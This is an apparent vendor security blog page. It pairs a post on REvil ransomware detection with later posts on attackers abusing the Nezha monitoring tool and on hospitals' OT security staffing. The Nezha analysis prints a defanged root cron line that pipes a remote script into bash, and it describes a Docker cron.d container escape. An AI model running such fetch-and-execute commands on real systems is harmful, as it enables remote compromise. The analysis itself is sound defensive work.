Blog
/
AI
/
February 13, 2022

REvil's Ransomware Business Model & Staying Ahead with AI

Learn more about REvil by exploring a REvil ransomware campaign discovered by Darktrace's AI. Find out how the recent arrests impact cyber security.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Dr. Oakley Cox-Robinson
Senior Director of Product
Default blog image
13
Feb 2022

REvil, also known as Sodinokibi, is a Ransomware-as-a-Service (RaaS) gang responsible for one of the largest ransomware attacks in history. On 14th January 2022, Russia announced it had arrested 14 members of the criminal gang. The move came at the request of the US authorities, who have worked hard with international partners to crack down on the gang. Last year, multiple high-profile attacks were attributed to the REvil group, including the JBS ransomware and Kaseya supply chain incidents.

The arrests are certainly a victory for western law enforcement agencies, and follows November’s announcement from Europol that seven arrests of REvil affiliates had been made in the preceding months. The question is: to what extent will these arrests disrupt the gang’s operations, and for how long?

Early indications from security researchers at ReversingLabs indicates REvil activity has been unaffected. Statistics on REvil implants two weeks after the Russian arrests are unchanged, and if anything indicate a modest increase.

This continued activity implies one of two scenarios:

  • The flurry of arrests have only impacted ‘middle men’ within the criminal gang’s hierarchy
  • REvil’s ransomware-as-a-service model is resilient enough to survive disruption from law enforcement

Both scenarios are worrisome to those who may fall prey to ransomware gangs, and the reality is likely to be a far more complex mixture of these and other factors. The crackdown on ransomware is long overdue, but the battle is likely to be a long one. Law enforcement agencies need to disrupt the business model to such an extent that it no longer becomes profitable or favorable to be in the ransomware business, and this is likely to take months or even years.

So as the crackdown on ransomware plays out on the biggest stage, what comfort, if any, can security teams take from recent events?

Staying ahead of the evolving RaaS model with AI

A joint report on ransomware issued recently by the FBI, CISA, the NCSC, the ACSC and the NSA highlighted key trends over the past year:

  • RaaS has become increasingly professionalized, with business models and processes now well established.
  • The business model complicates attribution because there are complex networks of developers, affiliates, and freelancers.
  • Ransomware groups are sharing victim information with each other, diversifying the threat to targeted organizations.

In summary, the report illuminates how ransomware gangs have become increasingly adaptable when it comes to evading law enforcement and maximizing profit from ransom payments. Multiple groups have faded away, or retired, only to reappear under a different name and with a slightly updated playbook. The tactics, techniques, and procedures (TTPs) differ from victim to victim, largely because attacks are conducted by different ransomware operators and affiliates.

This is troubling for law enforcement bodies trying to crack down on the individuals behind these attacks. When a RaaS group like REvil consists of an amorphous and ever-changing web of associates, making individual arrests is a constant game of catch up, and will be unlikely to bring down the group as a whole.

The same battle is being played out on the scale of individual attack campaigns. Security tools focused on the hallmarks of previously encountered threats are also in a continuous state of catch up: by the time a single attack is detected, fingerprinted, and stored for next time, attackers and their techniques have moved on.

But there is another option available to defenders, who are increasingly turning to Self-Learning AI to stay one step ahead of attackers. By learning its digital surroundings and identifying subtle deviations indicative of an attack, this technology can detect and respond to novel attacks on the first encounter. Below is an example of how Self-Learning AI detected an attack launched by REvil without the use of rules or signatures.

REvil threat find

In the summer of 2021, a REvil affiliate launched an attack against a health and social care organization – a sector that has seen a big increase in cyber-attacks since the start of the global pandemic. While the attack was detected by Darktrace’s AI without using rules or signatures, the security team was not monitoring Darktrace at the time. In the absence of Autonomous Response – which would have taken targeted action to contain the threat – the attack was allowed to progress.

After gaining access to the network via the laptop of a remote worker, the attacker was able to abuse a legitimate remote desktop (RDP) connection to a corporate jump server to bruteforce additional credentials.

Once equipped with more credentials, the attacker connected to multiple internal devices via RDP, including a second jump server. Data exfiltration began from the initially compromised server over RDP port 3389.

Two weeks later, the attacker identified the organization’s crown jewels, stored on a third server, and attempted to initiate command and control (C2) communications. The server made a number of unusual external connections, including attempts to connect to a rare domain that resembled the pattern of activity associated with REvil’s earlier Kaseya ransomware campaign.

Darktrace for Endpoint, which was running on remote user devices, provided additional visibility, enabling the security team to determine the initially compromised user device. Had Antigena been active on the endpoint, it would have intervened to stop this unusual activity by blocking the specific unusual connections – containing the attack without impacting normal business operations.

Connecting the dots of a low-and-slow attack

The total dwell time of the attacker was 22 days. They were patient, and undertook actions in bursts of activity often with days in between. This pattern of behavior is not uncommon for ransomware attacks, particularly those using the RaaS model in which each step may be performed by different gang members or affiliates.

Darktrace’s Cyber AI Analyst was able to track in real time the complete attack lifecycle over several weeks, stitching together the separate phases of the attack into a coherent security incident.

Figure 1: Cyber AI Analyst reveals the complete attack kill chain

New name, same game

This attack is another case of threat actors living off the land: using legitimate programs and processes that were already in use in the environment to perform malicious activity. This can be very difficult to detect with traditional tools that are based on static use cases and cannot differentiate a legitimate RDP session from a malicious one.

As cyber-criminal groups like REvil continue to defy law enforcement efforts, defenders need to stay ahead with AI technology that learns its environment, adapts as it changes and grows, and responds to threats based on subtle deviations that indicate an emerging attack. Autonomous Response has been adopted by over thousands of organizations across all areas of the digital estate – from email and cloud services to endpoint devices, stopping ransomware attacks early, before encryption is achieved.

Thanks to Darktrace analyst Petal Beharry for her insights on the above threat find.

Technical details

Darktrace model detections:

  • Device / RDP Scan
  • Device / Bruteforce Activity
  • Compliance / Outbound Remote Desktop
  • Anomalous Connection / Upload via Remote Desktop
  • Anomalous Connection / Download and Upload
  • Anomalous Connection / Uncommon 1 GiB Outbound
  • Anomalous Connection / Active Remote Desktop Tunnel
  • Device / New or Uncommon SMB Named Pipe
  • Device / Large Number of Connections to New Endpoints

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Dr. Oakley Cox-Robinson
Senior Director of Product

More in this series

No items found.

Blog

/

Network

/

June 10, 2026

How Attackers Abuse the Chinese Nezha Monitoring Tool

nezha monitoring toolDefault blog imageDefault blog image

What is Nezha?

Nezha is an open-source tool that allows system administrators to centrally monitor multiple servers, including their resource usage such as CPU and network usage, and uptime. The tool also enables remote administrative access via an interactive shell.

The project has just under 10,000 stars on GitHub and has seen widespread adoption in the Chinese IT community, with many forum posts providing guides on installation and usage.

However, Nezha’s status as a legitimate executable that has remote access capabilities creates an opportunity for misuse. Instead of deploying a regular command-and-control (C2) implant, attackers can deploy Nezha directly on compromised hosts. As these deployments are functionally indistinguishable from legitimate installations, they can blend into expected operational tooling and evade detection.

Darktrace’s analysis of a Nezha infection

Darktrace operates several high-interaction honeypots to observe attacker techniques and behaviors. Darktrace analysts observed an intrusion against the Docker-based honeypot, initiated with a malicious container create command.

 The malicious container create command.
Figure 1: The malicious container create command.

Docker allows any host file or directory to be passed through to a container, granting read and write access. In this case, the attacker made use of this to pass through the cron.d directory, which is used to schedule recurring tasks, such as maintenance or backup commands.

These commands and timings are stored in the cron.d directory, which the attacker can now write to because it is passed through to their malicious container. By writing a job to this directory from within the container, the cron service running on the host detects the new job and executes it on the host, effectively allowing the attacker to escape the container.

The attacker the created a malicious cron job named ngk:
* * * * * root curl hxxps://file.gpu5[.]com/linux_install.sh | bash

This resulted in the host downloading and running the linux_install.sh file with root privileges.

The linux_install script installs several dependencies, sets up environmental variables, and retrieves a second-stage script (nezha_install.sh) from the same domain.

The linux_install script.
Figure 2: The linux_install script.

The nezha_install.sh script based on the official Nezha installer but has been modified to hard code configuration values, such as the server address, and to remove interactive prompts, allowing it to be installed without user input.

Open by design

One of Nezha’s most interesting design choices is that its main monitoring panel does not require authentication to view a list of monitored hosts. This exposes a list of compromised systems via the attacker-controlled panel, enabling direct observation of the operation’s scale, victimology and infrastructure.

The attacker’s Nezha dashboard.
Figure 3: The attacker’s Nezha dashboard.

At the time of analysis, the campaign had infected 141 servers, with 45 still online and accessible.  The number of online servers was previously higher, suggesting that some victims may have discovered and removed the infection.

The exposed dashboard provides insights into victim characteristics, including geographic distribution, hardware specification, and resource usage. Most infected hosts were low-spec systems, commonly one or two core Xeon CPUs and less than 4GB of RAM, indicating they were likely small virtual private servers (VPS) with limited value to the attacker.

Many systems also exhibited 100% CPU usage, which may indicate concurrent compromise, such as cryptocurrency mining activity by other threat actors.

Open-source intelligence platforms such as Shodan and Censys can also identify publicly exposed instances of Nezha. Although authentication is required to execute commands on a monitored server, visibility into dashboards still provides valuable intelligence for attackers and defenders alike.

At the time of writing, Darktrace identified 33 internet-facing Nezha installations as openly accessible.

Key takeaways

The abuse of legitimate software has become a consistent feature of modern intrusion activity, enabling attackers to operate without deploying traditional malware and reducing the risk of detection.

This creates a form of “trust inversion”, where tools typically associated with routine operations may instead indicate malicious activity when deployed outside expected contexts. Organizations should therefore prioritize asset visibility and software governance, ensuring that unexpected tool deployments can be identified and investigated, rather than focusing solely on malware-centric detection.

This challenge is especially pronounced in cloud environments, where legitimate monitoring tools may represent either essential software or an attacker backdoor. The scale and dynamic nature of cloud environments further complicate distinguishing between benign and malicious use.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

Continue reading
About the author
Nathaniel Bill
Malware Research Engineer

Blog

/

OT

/

June 9, 2026

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

healthcare OTDefault blog imageDefault blog image

Rethinking the healthcare attack surface

When most people think about Operational Technology (OT) cybersecurity, they think about oil & gas pipelines, utilities, manufacturing plants, or power grids. However, hospitals & healthcare systems have quickly become a point of focus in the OT cybersecurity community as they do employ a variety of OT in the form of IoMT (Internet of Medical Things) networked devices such as: infusion pumps, imaging systems, patient monitoring equipment, laboratory systems, and traditional industrial control systems (ICS) in the form of smart building management systems (BMS) and even on site power generation control systems. 

These healthcare environments are no longer just traditional IT ecosystems, they are cyber-physical environments where disruption can directly impact patient care, operational continuity, and ultimately patient safety.

The OT cybersecurity expertise gap in healthcare organizations

Our research in the OT cybersecurity space revealed a concerning trend. Many hospitals and healthcare networks lack dedicated OT cybersecurity teams, OT security full time employees (FTE) and even OT expertise in the form of OT security certifications when compared to other critical infrastructure sectors.

On the other hand, within industries such as energy and manufacturing, we encounter more mature OT security programs that employ full time employees  dedicated to OT cybersecurity with OT security certifications and expertise to secure industrial and operational environments and lead investment in OT security processes and technology.

When reviewing the top 20 U.S. Hospitals by market cap, given what is publicly available on LinkedIn, only one FTE with an OT cybersecurity certification was found. The certifications that were searched for include: GIAC GICSP, GIAC GRID, GIAC GCIP and all ISA/IEC 62443 certifications. When replicating this same search across the top 20 utility providers in the US, 73 FTEs with OT related certifications were identified. As a control group, we looked within financial services, an industry NOT expected to have OT systems worth investing in FTEs to protect. However, the top 20 US financial institutions had 18 FTEs with OT related certifications. 

What these findings reveal

Overall, the findings regarding healthcare investment in OT security FTEs are surprising given how operationally dependent modern healthcare has become on OT. So why aren't hospitals investing in OT security personnel at the rate of peer critical infrastructures? It could just be lack of awareness; however, there are other, more plausible reasons.  

Based on historical trends in cyber incidents within the healthcare space, one could speculate that there is significantly greater likelihood of being victim to an attack that  focuses on extortion or data theft rather than an attack on specific OT systems. The amount of ransomware events incurred in healthcare, that historically do not target OT systems, may divert attention and security investment to the parts of the attack surface most likely to be targeted by ransomware. Additionally, data theft is a relevant threat objective for hospitals given PHI, PCI and PII, and data theft does not traditionally align with attacks targeting OT.  

However, with focused investment to address data theft and with adversaries new capability to string together chains of vulnerabilities of different severity scores using advancements in AI, we could be entering a threat landscape where adversaries pivot their tactics to target exposed and under protected devices and systems like OT. For example, although not a patient records database, predominant IOMT protocols HL7 and DICOM are unencrypted plaintext protocols and unless encrypted it is very simple for adversaries, who are sniffing traffic, to identify protected health information (PHI) in these communication protocols.

Why OT cybersecurity expertise can be effective for healthcare organizations

The convergence of IT, OT, and IoMT is already here, and threat actors are increasingly aware of the operational vulnerabilities that come with it. Additionally, as AI solutions such as agentic or generative applications are adopted and deployed, the attack surface will continue to change as permissions, and new connections will exist to support AI efficiency. From a cybersecurity standpoint, the reality is that many healthcare organizations are still working to establish consistent visibility and governance across their enterprise-connected devices and systems as their attack surface is changing in real time.  As the healthcare sector remains a significant target for cyber-attacks, hospitals would be well advised to begin addressing their operational environments OT as a critical component of their attack surface and invest in securing them first with people, then process and technology. 

What can healthcare organizations do to secure their OT

Including OT in current cybersecurity processes such as red teaming and testing incident response plans that take OT into account alongside building dedicated OT security capabilities including improving OT network visibility, leveraging OT network anomaly detection, micro-segmentation, and secure remote access will become essential steps in strengthening healthcare resilience. 

However, before any of the above processes or investments in technology can be made, these healthcare organizations, like the other critical infrastructure sectors, need to invest in the people with the experience in OT security to lead, implement, manage and audit the investment in OT cybersecurity technology and processes.  In cases where headcount cannot be added, investment in OT security certifications, such as the ones listed in this article, and participation on OT security events focused on practitioner training for existing cybersecurity employees can move the needle in terms of bringing OT expertise to the existing team.  

In an industry where uptime and safety are as mission critical as they are for a power utility, OT cybersecurity FTEs can no longer be viewed as optional for healthcare organizations and must become part of the foundation of modern healthcare cybersecurity strategy. 

[related-resource]

Continue reading
About the author
Daniel Simonds
Director of Operational Technology
Your data. Our AI.
Elevate your network security with Darktrace AI